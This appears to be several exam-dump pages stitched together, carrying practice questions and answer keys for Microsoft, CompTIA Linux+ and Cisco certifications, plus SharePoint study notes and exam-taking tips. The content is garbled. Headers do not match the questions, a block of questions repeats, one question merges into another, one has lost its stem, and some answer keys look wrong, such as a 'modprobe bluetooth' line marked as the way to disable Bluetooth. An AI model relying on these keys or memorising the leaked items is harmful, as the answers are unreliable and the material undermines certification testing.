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Exam Code: 70-463
Exam Name: Implementing a Data Warehouse with Microsoft SQL Server 2012
Updated: Aug 16, 2017
Q&As: 230

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QUESTION 16
Under what circumstances should separate Product Backlogs be maintained?
A. There are several Product Owners for one product. Each Product Owner should have their own
Product Backlog
B. There are multiple teams working on independent products. Each unique combination of team and
product should have an independent Product Backlog
C. There are multiple product features being developed by the same team.
D. There are multiple teams working on the components of the same product. Each team should an
independent Product Backlog
070-463 exam Correct Answer: B
QUESTION 17
Who determines whether the development team has been assigned enough work in a Sprint?
A. The Development Team
B. The Product Owner
C. The Product Owner and the Scrum Master
D. The Scrum Master
Correct Answer: A
QUESTION 18
Which of the following is not a Product Owner responsibility?
A. Maintaining the Product Backlog with current information
B. Working with stakeholders to determine and detail product features
C. Assigning tasks to team members
D. Prioritizing the Product Backlog
70-463 dumps Correct Answer: C
QUESTION 19
Which of the following activities do not occur at the end of the Sprint?
A. Software development
B. Release deployment
C. Sprint review meeting
D. Quality assurance testing
Correct Answer: AD
QUESTION 20
What does the Scrum Development Team attempt to develop every Sprint?
A. A product that is ready for customer delivery
B. A completed Sprint Backlog
C. A product that is ready for QA and/or QC testing
D. A product increment that is potentially-ready for customer delivery
070-463 pdf Correct Answer: D
QUESTION 21
A _____________________ is created during the first half of the Sprint planning meeting and a
_________________ is created during the second half of the Sprint planning meeting?
A. Sprint Backlog, collection of tasks
B. Product Backlog, collection of tasks
C. Sprint Goal, Sprint Backlog
D. Product Backlog, Sprint Backlog
Correct Answer: A
QUESTION 22
The Sprint planning meeting is comprised of how many sections?
A. 4
B. 3
C. 2
D. 1
70-463 vce Correct Answer: C
QUESTION 23
What is the maximum duration of each Sprint planning meeting section?
A. 1 hour
B. 30 minutes
C. 4 hours
D. 2 hours
E. 15 minutes
Correct Answer: C
QUESTION 24
From the activities given, which is the latest step in sequence of the Scrum framework?
A. Daily scrum
B. Sprint retrospective
C. Sprint review
D. Sprint planning
070-463 exam Correct Answer: B
QUESTION 25
Which of the following is not a Scrum Master responsibility?
A. Establish priorities together with product owner for Product Backlog items
B. Preventing Senior Management from shifting team priorities
C. Empowering the team
D. Socializing scrum throughout the organization
Correct Answer: B
QUESTION 26
Which of the following is reflected in a Sprint Burndown Chart?
A. Team Members Name
B. Number of Product Backlog Items Completed
C. Number of Tasks Remaining
D. Work Hours Remaining
70-463 dumps Correct Answer: D
QUESTION 27
How many hours per day should a person on a Scrum teamwork?
A. A sustainable pace, usually from 7-8 hours per day.
B. An “ideal day” measuring only when he or she is productive.
C. However many hours are needed to get the work done.
D. 14 hours.
Correct Answer: A
QUESTION 28. Which of the following items is NOT correct for this type of node?
A. Marks the beginning of a workflow process
B. A process definition may have more than one Start Node
C. Activated by a process instance being started
D. Produces an event on each out-going arrow
070-463 pdf Answer: B
QUESTION 29. Which of the following is NOT mode for defining expressions in Interstage BPM?
A. Constant Mode
B. Variable Mode
C. Default Mode
D. Expression Mode
Answer: C
QUESTION 30. Which of the following is not a key feature of Interstage BPM?
A. An enterprise-wide, scalable infrastructure for handling processes of all types
B. The ability to easily create and modify visual business process models with no programming required
C. A universal to-do list that can be organized and filtered
D. A client-server architecture
Answer: D
QUESTION 31. Which of the following is not a key feature of Interstage BPM?
A. A command-line interface for fast access to functions
B. An enterprise-wide, scalable infrastructure for handling processes of all types
C. A universal to-do list that can be organized and filtered
D. A web-enabled architecture
070-463 vce Answer: A
QUESTION 32. Which of the following is not a key feature of Interstage BPM?
A. An enterprise-wide, scalable infrastructure for handling processes of all types
B. A universal to-do list that can be organized and filtered
C. A distributed storage system for documents and data
D. Model API that allows both customized applications to communicate with the workflow engine and
A. Marks the beginning of a workflow process
B. A process definition may have more than one Start Node
C. Activated by a process instance being started
D. Produces an event on each out-going arrow
Answer: B
QUESTION 33. Which of the following is NOT mode for defining expressions in Interstage BPM?
A. Constant Mode
B. Variable Mode
C. Default Mode
D. Expression Mode
070-463 exam Answer: C
QUESTION 34. Which of the following is not a key feature of Interstage BPM?
A. An enterprise-wide, scalable infrastructure for handling processes of all types
B. The ability to easily create and modify visual business process models with no programming required
C. A universal to-do list that can be organized and filtered
D. A client-server architecture
Answer: D
QUESTION 35. Which of the following is not a key feature of Interstage BPM?
A. A command-line interface for fast access to functions
B. An enterprise-wide, scalable infrastructure for handling processes of all types
C. A universal to-do list that can be organized and filtered
D. A web-enabled architecture
070-463 dumps Answer: A
QUESTION 36. Which of the following is not a key feature of Interstage BPM?
A. An enterprise-wide, scalable infrastructure for handling processes of all types
B. A universal to-do list that can be organized and filtered
C. A distributed storage system for documents and data
D. Model API that allows both customized applications to communicate with the workflow engine and
QUESTION 37. Although the following characteristics are useful in most workflow types, which of them is a key
feature of an Ad Hoc type of workflow?
A. Following stringent predetermined rules that never change
B. Record, organize and refine existing business processes while they are occurring
C. Used to assist in complex decision making where each case may be unique but must be handled in the
correct order.
D. The ability to modify or alter a running process
070-463 pdf Answer: D
QUESTION 38. When is the Process Discovery workflow type typically used?
A. Used as a planning tool in which a user may instantiate a process definition only once.
B. Used in those situations where individuals have evolved their job description by on-the-job experience
C. Used to assist in complex decision making where each case may be unique but must be handled in the
correct order
D. Used to ensure that regular business practice adhere to company policy
Answer: B
QUESTION 39. The Process Discovery workflow is a form of what other type of workflow?
A. Ad Hoc
B. Collaborative
C. Administrative
D. Component
070-463 vce Answer: A
QUESTION 40. The combination of sub-processes and process editing features provided by IBPM allow which
workflow types to be supported?
A. Production, Case Handling
B. Ad-Hoc, Process Discovery
C. Production, Component
D. Collaborative, Component
Answer: B
QUESTION 41
B. (b)
C. (a), (b)
D. None of the above
070-463 exam Answer: C
QUESTION 42. Which type of workflow does the following statement describe?
A system in which the users continuously see updated information in real-time.?
A. Production
B. Process Discovery
C. Collaborative
D. None of the above
Answer: C

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Latest Microsoft 70-331 Exam Real Practice Questions And Answers Free Update

External content types incorporate Business Connectivity Services (BCS) functionality to enable external data to be represented within SharePoint sites. These content types are metadata that represent the following:
■ Connectivity information to data
■ Data definitions for the data
■ Behaviors applied to data
Information that is provided via the use of external content types is reusable, mimicking the Microsoft 70-331 exam behavior of normal content types within a site or site collection. Workers interacting with an external content type do not have to be aware of the underlying data type, connection type, or security present in the content type.
As the ultimate goal is to present external content exactly the same as internal content contained within SharePoint itself, external content types act the same as any other data presented in and consumed by both Microsoft Office and SharePoint. This includes the ability to search the content as well as taking it offline in Microsoft Outlook 2013.

External content types are highly useful after they are configured, allowing for the creation of lists and data columns within SharePoint that function identically to their native SharePoint counterparts.
70-331
As the information represented by external content types is provided by BCS, it only stands to reason that there would be some specific web parts created for this purpose:
■ Business Data List Displays a list of 70-331 pdf entity instances from a business application presented by BCS, such as a customer or order list
■ Business Data Item Displays the details of an item from a business application presented by BCS, such as a particular customer or order
■ Business Data Item Builder Creates a BCS item, providing it to other web parts Business Data Related List Displays a list of related items from a business application presented by BCS, such as all orders related to a particular customer
■ Business Data Actions Displays a list of actions available to a portal user, such as sending e-mail or editing customer information External content type and item pickers are also available for use within SharePoint along with profile pages, which can display details about a particular item. If more functionality is desired than what is presented by the OOB tools, development using external content types is available via the following:
■ SharePoint object model
■ Client object model
■ Representational State Transfer (REST) URLs
NOTE SHAREPOINT DESIGNER (SPD) 2013 AND EXTERNAL CONTENT TYPES
SharePoint Designer (SPD) has always been a tool that is heavily integrated with the SharePoint platform. In certain governance situations, it might make sense to limit the use of SPD, but note that there are some things that 70-331 vce SPD does exceptionally well that are beyond the scope of other toolsets. Designing SharePoint/BCS external content types is one of those functional requirements that heavily promotes the use of SPD for knowledge worker design specialists.

Designing keywords, promoted results, and managed properties Search has always been a keystone technology within SharePoint, and already-adept search functionality has been heavily improved by the integration of FAST search. FAST search (an additional technology that can be installed alongside SharePoint Server 2010) is now a core technology within SharePoint Server 2013 and provides additional functionality not present within SharePoint Server 2010 search.
As you might have noticed from the title of this section, we are not heavily focused on the technicalities of search at this point; instead, we will lightly cover search architecture, choosing to focus on how search queries and results are “shaped” via the use of keywords, promoted results, and managed properties.

Core search components
Search can be broken down into six major components: Search Administration, Crawl, Content Processing, Analytics Processing, Indexing, and Query Processing.
The relationship between these components can be seen in Figure.
As you can see, the six components together accomplish two major 70-331 dumps tasks: crawls and queries. At one end of the process, content sources (such as file shares and SharePoint content) are crawled by the Crawl component; on the other end, the information has been broken down by search and is available for querying by users.

MORE INFO SEARCH IN SHAREPOINT SERVER 2013
For a detailed description of each search component and database, visit the TechNet article “Overview of Search in SharePoint Server 2013”. The Search Administration component simply provides for the administration of the search components, also providing for the creation and initialization of new search components. Unlike the rest of the components, the Search Administration does not provide any information transfer to or from any of the other components.

The Crawl component simply performs a crawl of the content available in the content sources; this is usually accomplished via the use of an indexing connector or protocol handler. And depends on the type of file being crawled (Word, Excel, Acrobat, and so on). After the content has been crawled, it is passed on from the Crawl component to the 70-331 Content Processing component. Several operations are carried out within this step, one of which is the mapping of crawled properties to managed properties (which is discussed shortly).

Read more: https://www.lead4pass.com/70-331.html Additionally, items that have been crawled are turned into artifacts in this stage for inclusion within the search index. Link and URL information is stored in the link database and then processed and forwarded to the Analytics Processing component.

Reference: https://www.microsoft.com/en-nz/learning/exam-70-331.aspx

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The original Linux + certification was developed by the Linux Professional Institute (LPI) and includes two separate exams. Passing both of these items will get Linux + certification and LPI-certified LPIC-1.

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CompTIA XK0-004 Practice Test Questions（passed!）

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QUESTION 1
A Linux administrator needs to switch from text mode to GUI. Which of the following runlevels will start the GUI by
default?
A. Runlevel 3
B. Runlevel 4
C. Runlevel 5
D. Runlevel 6
Correct Answer: C
Reference: http://www.linfo.org/runlevel_def.html

QUESTION 2
A system administrator has set up third-party log aggregation agents across several cloud instances. The systems
administrator wants to create a dashboard of failed SSH attempts and the usernames used. Which of the following files
should be watched by the agents?
A. /var/log/audit/audit.log
B. /var/log/kern.log
C. /var/log/monitor
D. /etc/rsyslog.conf
Correct Answer: D

QUESTION 3
An administrator needs to mount the shared NFS file system testhost:/testvolume to mount point /mnt/testvol and make
the mount persistent after reboot. Which of the following BEST demonstrates the commands necessary to accomplish
this task?

Pass4itsure CompTIA Linux+ XK0-004 exam questions q3

A. Option A
B. Option B
C. Option C
D. Option D
Correct Answer: C

QUESTION 4
An administrator needs to change the IP address on a server remotely. After updating the configuration files, a network
restart is needed. However, the administrator fears that when the network connection drops, the network restart script
will be killed before the new IP address has been set.
Which of the following commands would prevent the script from being killed?
A. nohup service network restart
B. service network restart and
C. echo “service network restart” | at now
D. dg service network restart
Correct Answer: A

QUESTION 5
Which of the following configuration files should be modified to disable Ctrl-Alt-Del in Linux?
A. /etc/inittab
B. ~/.bash_profile
C. /etc/securetty
D. /etc/security/limits.conf
Correct Answer: A
Reference: https://www.linuxtechi.com/disable-reboot-using-ctrl-alt-del-keys/

QUESTION 6
A new corporate policy states that Bluetooth should be disabled on all company laptops. Which of the following
commands would disable the use of Bluetooth?
A. echo “blacklist bluetooth” > /etc/modprobe.d/blacklist-bluetooth
B. echo “kill bluetooth” > /etc/modprobe.d/kill-bluetooth
C. echo “modprobe bluetooth” > /etc/modprobe.d/modprbe-bluetooth
D. echo “rmod bluetooth” > /etc/modprobe.d/rmmod-bluetooth
Correct Answer: C

QUESTION 7
Which of the following BEST describes the purpose of the X11 system?
A. X11 provides graphical display capabilities
B. X11 provides command line capabilities
C. X11 provides networking capabilities
D. X11 provides telephony capabilities.
Correct Answer: A
Reference: https://en.wikipedia.org/wiki/X_Window_System

QUESTION 8
An administrator reviews the following configuration file provided by a DevOps engineer:

Pass4itsure CompTIA Linux XK0-004 exam questions q8

Which of the following would the application parsing this file MOST likely have to support?
A. YAML
B. AJAX
C. JSON
D. SOAP
Correct Answer: C

QUESTION 9
Which of the following can be used to boot a DVD from a remote device to initialize a Linux system setup on bare metal
hardware as if it is a local DVD?
A. UEFI
B. PXE
C. NFS
D. GRUB
Correct Answer: A
Reference: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/installation_guide/ch-bootx86

QUESTION 10
A junior administrator of a physical server receives log messages indicating the out-of-memory killer has been active. All
memory slots are in use on the motherboard, but additional disk space is available. Space has been allocated for a
swap file.
Which of the following should the administrator use to reduce the output of memory messages?
A. free : swapoff / swapfile ; swapon -a
B. mkswap /swapfile; swapon ?
C. fallocate ? 2G /swapfile andand swapon ?
D. echo “1” > /proc/meninfo ; swapon / swapfile
Correct Answer: A

QUESTION 11
A systems administrator needs to append output of ls -lha /opt command to the contents of a test.txt file. Which of the
following commands will accomplish this?
A. ls –lha /opt > test.txt
B. ls –lha /opt
C. ls –lha /opt >> test.txt
D. ls –lha /opt

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Exam By:Cisco
Exam Code:010-151
Exam Name:Cisco Certified Technician Data Center
Related Certification(s):CCT Data Center

Taking a Cisco certification exam “cold” is a good way to end up retaking a Cisco certification exam.

Please see the exams for the process I listed below.

You need to know

How do you know the content of the exam? The terrible answer is that you can’t do it at least. No matter how much you learn, you may encounter problems with any material you have never seen before. However, please be assured that there is only one place where you can find most of the topics to be discussed in the exam. Cisco publishes an exam description page for each exam they manage.

  • Data Center Basics 17%
  • Cisco Equipment and Related Hardware 25%
  • Cisco UCS and Cisco NX-OS software operation 25%
  • Service-Related Knowledge 33%

This became my study guide. I make sure I understand the details of each skill in the list.

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Cisco Certified Curriculum

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Take notes

I write down any content that might be suitable for the exam. The act of writing information fixes it in my short-term memory.

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Practice is very important. It is very important to actually set up and manage the system for which the certification exam is to be conducted. Find some exam skills and get an idea of the actual situation of the exam.

Manage exam time

When you start the exam, the system will provide you with the total number of questions and available time. Do the calculations quickly (you will have something to write) and find out how long each problem is. Although I won’t spend time on every issue, I will put it in my mind to make sure I don’t run out of time.

If you spend a few minutes on the question and don’t have an answer, guess, mark it out and continue. If time permits, you can review the question back, but only if you are sure of the correct answer or if your guess is wrong.

Success in the 010-151 exam: Pass4itsure Q&As

QUESTION 1
Which five things should the administrator verify after performing maintenance or replacing a blade server? (Choose
five.)
A. blade server status
B. hard drive status
C. host OS boot status
D. CPU status
E. mezzanine card status
F. memory DIMM status
G. fan and power status
Correct Answer:

QUESTION 2
Which three options are the minimum browser requirements to log into the Cisco CIMC GUI? (Choose three.)
A. Java 1.6 or higher
B. HTTP and HTTPS enabled
C. Adobe Flash Player 10 or higher
D. Internet Explorer version 10
E. Firefox 26.0
F. Adobe Shockwave Player 11 or higher
Correct Answer: ABC

QUESTION 3
Which command syntax is correct to reset the admin password when the switch is in the kickstart prompt “switch(boot)
#”?
A. exec -> admin-password
B. connect local-mgmt -> admin-password
C. configure terminal -> admin-password
D. connect nxos -> admin-password
E. admin-password
Correct Answer: C

QUESTION 4
Up to what speed can Category 5 UTP cable transmit data?
A. 10 Mb/s
B. 100 Mb/s
C. 1000 Mb/s
D. 10000 Mb/s
Correct Answer: C

QUESTION 5
Which two Cisco Nexus switches provide the foundation of the Cisco Application Centric Infrastructure? (Choose two.)
A. Cisco Nexus 7718 switch
B. Cisco Nexus 9508 switch
C. Cisco Nexus 7710 switch
D. Cisco Nexus 93128TX switch
E. Cisco Nexus 6004 switch
Correct Answer: BD

QUESTION 6
Refer to the exhibit.

Pass4itsure 010-151 exam questions-q6

Where is the best place to see bootflash free space?
A. A – Available Memory
B. B – Total Memory
C. C – Local Storage Information
D. D – High Availability Details
Correct Answer: C

QUESTION 7
Refer to the exhibit.

Pass4itsure 010-151 exam questions-q7

Where is the best place to see the power supply status of the blade server enclosure?
A. A – Chassis 1
B. B – Chassis 1 – PSUs
C. C – Chassis1 – Servers
D. D – Rack-Mounts – Servers
E. E – Fabric Interconnects A – PSUs
Correct Answer: B

QUESTION 8
What does the system status LED look like when an over temperature or major alarm occurs on the Cisco UCS 6120XP
Fabric Interconnect?
A. Amber
B. Red
C. Blinking amber
D. Blinking red
Correct Answer: C

QUESTION 9
Which supervisor module is supported by a Cisco Nexus 7700 Series Switch?
A. first-generation supervisor module
B. second-generation supervisor module (Sup2)
C. second-generation supervisor enhanced module (Sup2E)
D. third-generation supervisor enhanced module (Sup3E)
Correct Answer: C

QUESTION 10
Which three troubleshooting procedures do you perform when there is no power to a Cisco UCS B250 M2 Blade
Server? (Choose three.)
A. Decommission and acknowledge the blade.
B. Check the back of the blade to ensure that there is no damage to the connection that goes into chassis.
C. Reseat the memory DIMMs.
D. Check the CPU sockets for bent pins.
E. Reseat the blade in the same slot in the chassis.
F. Move the blade to another slot in the chassis.
Correct Answer: BEF

QUESTION 11
Which two major components does a Cisco Nexus 1000V Series Switch have? (Choose two.)
A. Virtual Fiber Channel Module
B. Virtual Ethernet Module
C. Virtual Supervisor Module
D. Virtual Memory Controller Module
E. Virtual Network Module
Correct Answer: BC

QUESTION 12
Refer to the exhibit.

Pass4itsure 010-151 exam questions-q12

What is the name of this Cisco Nexus 3000 Series Switch?
A. Cisco Nexus 3132Q
B. Cisco Nexus 3172PQ
C. Cisco Nexus 3524
D. Cisco Nexus 3016
Correct Answer: A

QUESTION 13
Refer to the exhibit.

Pass4itsure 010-151 exam questions-q13

Which item does A represent?
A. Emulex Adapter Card for Cisco UCS B420 M3 Blade Servers
B. Virtual Interface Card for Cisco UCS B420 M3 Blade Servers
C. mLOM for Cisco UCS B420 M3 Blade Servers
D. Virtual Emulex Adapter Card for Cisco UCS B420 M3 Blade Servers
E. SuperCap module for Cisco UCS B420 M3 Blade Servers
Correct Answer: C

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Exam Code:70−741
Exam Name:Networkingwith Windows Server2016
Related Certification(s):MCSA

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  • Implement Domain Name System (DNS) (15-20%)
  • Implement DHCP and IPAM (25-30%)
  • Implement Network Connectivity and Remote Access Solutions (20-25%)
  • Implement Core and Distributed Network Solutions (15-20%)
  • Implement an Advanced Network Infrastructure (15-20%)

This is the first place I learned when I was learning the Windows Server 2016 exam network. The targets displayed in the screenshot are divided into sub-goals. Each subgoal has a set of skills listed in paragraphs.

This became my study guide. I make sure I understand the details of each skill in the list.

Step 2. Find good study materials

You need very good learning materials.As a Microsoft Certified Trainer, I have the experience of collecting and evaluating which resources are best for learners to make the most of their experience. This is my three recommendations for Microsoft learning materials:

Microsoft Certified Curriculum

Visit the official Microsoft course: 20741A: Networking with Windows Server 2016

Written by experts in the field and tend to be consistent with the exam objectives. This does not mean that the Microsoft Certified Network Assistant exam questions will be written word by word directly from the content, but most of the exam’s concepts will be covered in detail in the exam content. Here, it is useful to list skills. I use the skill list as a guide to the content.

Publisher Learning Guide

If you don’t have the ability to take an official Microsoft course, there are plenty of books to study as a guide.

Online Resources

Microsoft has released almost all of Microsoft’s content on TechNet and MSDN, so it’s quite possible to cover any technical details that can be asked in TechNet.

Sanctioned “brain dumps”

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Step 3. Take notes

I write down any content that might be suitable for the exam. The act of writing information fixes it in my short-term memory.

Step 4. Practice

Practice is very important. It is very important to actually set up and manage the system for which the certification exam is to be conducted. Find some exam skills and get an idea of the actual situation of the exam.

Step 5. Manage exam time

When you start the exam, the system will provide you with the total number of questions and available time. Do the calculations quickly (you will have something to write) and find out how long each problem is. Although I won’t spend time on every issue, I will put it in my mind to make sure I don’t run out of time.

If you spend a few minutes on the question and don’t have an answer, guess, mark it out and continue. If time permits, you can review the question back, but only if you are sure of the correct answer or if your guess is wrong.

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Latest Microsoft 70-741 Actual Free Exam Questions

QUESTION 1
You have a server named Server1 that runs Windows Server 2016. You install the Hyper-V server role on Server1.
Server1 has eight network adapters that are dedicated to virtual machines. The network adapters are Remote Direct
Memory
Access (RDMA)-enabled.
You plan to use Software Defined Networking (SDN). You will host the virtual machines for multiple tenants on the
Hyper-V host.
You need to ensure that the network connections for the virtual machines are resilient if one or more physical network
adapters fail.
What should you implement?
A. single root I/O virtualization (SR-IOV)
B. NIC Teaming on the Hyper-V host
C. virtual Receive-side Scaling (vRSS)
D. Switch Embedded Teaming (SET)
Correct Answer: D

QUESTION 2
You have servers named Server1 and DHCP1. Both servers run Windows Server 2016. DHCP1 contains an IPv4 scope
named Scope1.
You have 1,000 client computers.
You need to configure Server1 to lease IP addresses for Scope1. The solution must ensure that Server1 is used to
respond to up to 30 percent of the DHCP client requests only.
You install the DHCP Server server role on Server1.
What should you do next?
A. From the DHCP console, run the Configure Failover wizard.
B. From Server Manager, install the Network Load Balancing feature.
C. From Server Manager, install the Failover Clustering feature.
D. From the DHCP console, create a superscope.
Correct Answer: A
https://technet.microsoft.com/en-us/library/hh831385(v=ws.11).aspx

QUESTION 3
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet the stated goals. Some question sets might have more than one correct solution,
while
others might not have a correct solution.
After you answer a question in this sections, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
You have a server named Server1 that has the Network Policy and Access Services server role installed.
You create a Shared Secret Network Policy Server (NPS) template named Template1.
You need to view the shared secret string used for Template1.
Solution: From the Network Policy Server console, you export the templates, and you view the exported XML file.
Does this meet the goal?
A. Yes
B. No
Correct Answer: B

QUESTION 4
You have a server named Server1 that runs Windows Server 2016.
You install the DHCP Server server role on Server1.
You need to authorize DHCP on Server1.
What should you run?
A. dism.exe
B. dns.exe
C. dnscmd.exe
D. netsh.exe
E. Set-DhcpServerDatabase
F. Set-DhcpServerv4DnsSetting
G. Set-DhcpServerv6DnsSetting
H. Set-DNSServerSetting
Correct Answer: D

QUESTION 5
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet the stated goals. Some question sets might have more than one correct solution,
while
others might not have a correct solution.
After you answer a question in this sections, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
Your network contains an Active Directory domain named adatum.com. The domain contains two DHCP servers named
Server1 and Server2.
Server1 has the following IP configuration.
Server2 has the following IP configuration.
Some users report that sometimes they cannot access the network because of conflicting IP addresses.
You need to configure DHCP to avoid leasing addresses that are in use already.
Solution: On Server1, you modify the EndRange IP address of the scope.
Does this meet the goal?
A. Yes
B. No
Correct Answer: A

QUESTION 6
Your network contains an Active Directory domain named contoso.com that contains a domain controller named DC1.
All DNS servers for the network run BIND 10.
Your perimeter network contains a DHCP server named DHCP1 that runs Windows Server 2016. DHCP1 is a member
of a workgroup named WORKGROUP. DHCP1 provides IP address leases to guests accessing the Wi-Fi network.
Several engineers access the network remotely by using a VPN connection to a remote access server that runs
Windows Server 2016. All of the VPN connections use certificate-based authentication and are subject to access
policies in
Network Policy Server (NPS). Certificates are issued by an enterprise certification authority (CA) named CA1.
All Windows computers on the network are activated by using Key Management Service (KMS). On-premises users use
Remote Desktop Services (RDS).
You plan to deploy IP Address Management (IPAM) to the network.
Which action can you perform on the network by using IPAM?
A. Audit user and device logon event from NPS.
B. Audit logon events on the RDS server.
C. Audit configuration changes to the remote access server.
D. Audit certificate enrollment requests on CA1.
Correct Answer: A
https://blogs.technet.microsoft.com/canitpro/2013/08/15/step-by-step-setup-windows-server-2012-ipam-in-yourenvironment/

QUESTION 7
Your network contains an Active Directory domain named contoso.com. The domain contains a DNS server named
Server1.
Server1 is configured to use a forwarder named Server2 that has an IP address of 10.0.0.10. Server2 can resolve
names hosted on the Internet successfully. Server2 hosts a primary DNS zone named adatum.com.
On Server1, you have the following zone configuration.

Pass4itsure 70-741 exam questions-q7

For each of the following statements, select Yes if the statement is true. Otherwise, select No.
Hot Area:

Pass4itsure 70-741 exam questions-q7-2

QUESTION 8
You have a Scale-Out File Server that has a share named Share1. Share1 contains a virtual disk file named Disk1.vhd.
You plan to create a guest failover cluster.
You need to ensure that you can use the virtual disk as a shared virtual disk for the gust failover cluster.
Which cmdlet should you use?
A. Optimize VHD
B. Optimize VHDSet
C. Convert-VHD
D. Set-VHD
Correct Answer: C

QUESTION 9
You have a server named Server1 that runs Windows Server 2016. Server1 is located on the perimeter network, and
only inbound TCP port 443 is allowed to connect Server1 from the Internet.
You install the Remote Access server role on Server1.
You need to configure Server1 to accept VPN connections over port 443.
Which VPN protocol should you use?
A. PPTP
B. SSTP
C. L2TP
D. IKEv2
Correct Answer: B
https://technet.microsoft.com/en-us/library/dd458955(v=ws.10).aspx

QUESTION 10
Your network contains multiple wireless access points (WAPs) that use WPA2-Personal authentication. The network
contains an enterprise root certification authority (CA).
The security administrator at your company plans to implement WPA2-Enterprise authentication on the WAPs.
To support the authentication change, you deploy a server that has Network Policy Server (NPS) installed.
You need to configure NPS to authenticate the wireless clients.
What should you do on the NPS server?
A. Add RADIUS clients and configure network policies.
B. Create a remote RADIUS server group and configure connection request policies.
C. Create a remote RADIUS server group and install a server certificate.
D. Add RADIUS clients and configure connection request policies.
Correct Answer: A
https://ittrainingday.com/2013/12/25/how-to-configure-a-windows-radius-server-for-802-1x-wireless-or-wiredconnections/

QUESTION 11
You have an IP Filters Network Policy Server (NPS) template that is used by an NPS policy. The IP filters are
configured as shown in the following exhibit.

Pass4itsure 70-741 exam questions-q11

Use the drop-down menus to select the answer choice that completes each statement based on the information
presented in the graphic. NOTE: each correct selection is worth one point.
Hot Area:

Pass4itsure 70-741 exam questions-q11-2

QUESTION 12
You have multiple servers that run Windows Server 2016. You have a server named Server1 that is configured
as a domain controller and a DNS server.
You need to create an Active Directory-integrated zone on Server1.
What should you run?
A. dism.exe
B. dns.exe
C. dnscmd.exe
D. netsh.exe
E. Set-DhcpServerDatabase
F. Set-DhcpServerv4DnsSetting
G. Set-DhcpServerv6DnsSetting
H. Set-DNSServerSetting
Correct Answer: C

QUESTION 13
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet the stated goals. Some question sets might have more than one correct solution,
while
others might not have a correct solution.
After you answer a question in this sections, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
You have a server named Server1 that has the Network Policy and Access Services server role installed.
You create a Shared Secret Network Policy Server (NPS) template named Template1.
You need to view the shared secret string used for Template1.
Solution: From Windows PowerShell, you run Get-NpsSharedSecretTemplate -Name Template1 .
Does this meet the goal?
A. Yes
B. No
Correct Answer: B

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Exam MS-202: Microsoft 365 Messaging Administrator Certification Transition: https://www.microsoft.com/en-us/learning/exam-ms-202.aspx

This exam is intended only for candidates who have taken Exam 70-345: Designing and Deploying Microsoft Exchange Server 2016. If you have not taken Exam 345, you will not earn certification by taking this exam.

Candidates for this exam are Messaging Administrators who deploy, configure, manage, troubleshoot, and monitor recipients, permissions,
mail protection, mail flow, and public folders in both on-premises and cloud enterprise environments.

Messaging Administrators are responsible for managing hygiene, messaging infrastructure, hybrid configuration, migration, disaster recovery, high availability, and client access.

pass4itsure MS-202 exam Skills measured

  • Manage modern messaging infrastructure (20-25%)
  • Manage mail flow topology (5-10%)
  • Manage recipients and devices (10-15%)
  • Plan and implement a hybrid configuration and migration (20-25%)
  • Secure the messaging environment (35-40%)

Latest Microsoft other Certification MS-202 Exam Practice Test Questions and Answers

QUESTION 1
You have a hybrid deployment of Microsoft Exchange Server 2019 and Microsoft Office 365. In Exchange Online, you
create an archive mailbox for each user.
Users who have a mailbox in the on-premises Exchange organization report that they cannot access their archive
mailbox. You verify that users who have a mailbox in Office 365 can access their archive mailbox successfully.
You need to resolve the issue.
What should you modify?
A. the sharing policy
B. the mailbox permissions
C. the organization relationship
D. the device tenant policy
Correct Answer: C
References: https://docs.microsoft.com/en-us/powershell/module/exchange/sharing-and-collaboration/set-organizationrelationship?view=exchange-ps

 

QUESTION 2
You need to recommend a deployment plan that meets the technical requirements for the mailbox databases. What
should you include in the recommendation?
A. Deploy 10 Exchange servers to the main office and one Exchange server to each branch office. Create two mailbox
databases on each server.
B. Deploy one Exchange server to each office. Create two mailbox databases on each server. Create copies of the
databases on another server.
C. Deploy 11 Exchange servers to the main office and one Exchange server to each branch office. Create one mailbox
database on each server.
D. Deploy one Exchange server to the main office and two Exchange servers to each branch office. Create one mailbox
database on each server.
Correct Answer: B


QUESTION 3
You have a Microsoft Exchange Server 2019 organization that has the topology shown in the following exhibit.pass4itsure ms-202 exam question q3

The organization contains the servers shown in the following table.

pass4itsure ms-202 exam question q3-1

The organization contains the mailboxes shown in the following table.

pass4itsure ms-202 exam question q3-2

For each of the following statements, select Yes if the statement is true. Otherwise, select No.
Hot Area:

pass4itsure ms-202 exam question q3-3

Correct Answer:

pass4itsure ms-202 exam question q3-4

 

QUESTION 4
You have a Microsoft Exchange Server 2013 organization that has the following configurations:
The forest functional level of Active Directory in Windows Server 2008 R2
The domain controllers in Active Directory Windows Server 2012 R2.
The Exchange servers run Windows Server 2012 Datacenter
You plan to upgrade the organization to Exchange Server 2019.
You need to ensure that the organization meets the minimum supported requirements for the upgrade.
What should you do?
A. Raise the forest functional level to Windows Server 2012 R2
B. Upgrade the domain controllers to Windows Server 2016
C. Upgrade the Exchange servers to Windows Server 2016
D. Upgrade the Exchange servers to Windows Server 2019
Correct Answer: A
References: https://docs.microsoft.com/en-us/exchange/plan-and-deploy/system-requirements?view=exchserver-2019

 

QUESTION 5
You have a Microsoft Exchange Server 2019 hybrid deployment that contains the users shown in the following table.pass4itsure ms-202 exam question q5

You need to provide each user with an archive mailbox that is stored in Exchange Online.
Which admin center should you use to perform the configuration for each user? To answer, drag the appropriate admin
centers to the correct users. Each admin center may be used once, or not at all.
You may drag the split bar between the panes or scroll to view content.
NOTE: Each correct selection is worth one point.
Select and Place:

pass4itsure ms-202 exam question q5-1

Correct Answer:

pass4itsure ms-202 exam question q5-2

 

QUESTION 6
You need to implement a solution that meets the technical requirements for the retention of junk email, sent items, and
deleted items.
What is the minimum number of retention policies and retention tags you should use? To answer, select the appropriate
options in the answer area.
NOTE: Each correct selection is worth one point.
Hot Area:pass4itsure ms-202 exam question q6

Correct Answer:

pass4itsure ms-202 exam question q6-1

 

QUESTION 7
Your company has a Microsoft Exchange Server 2019 organization.
You are auditing the litigation hold on the mailboxes of the company\\’s research and development department.
You discover that the mailbox of a user named User1 has a Litigation Hold enabled.
You need to discover who placed the Litigation hold on the mailbox of User1, and when the Litigation Hold was
enabled.
Which two actions should you perform? Each correct answer presents part of the solution.
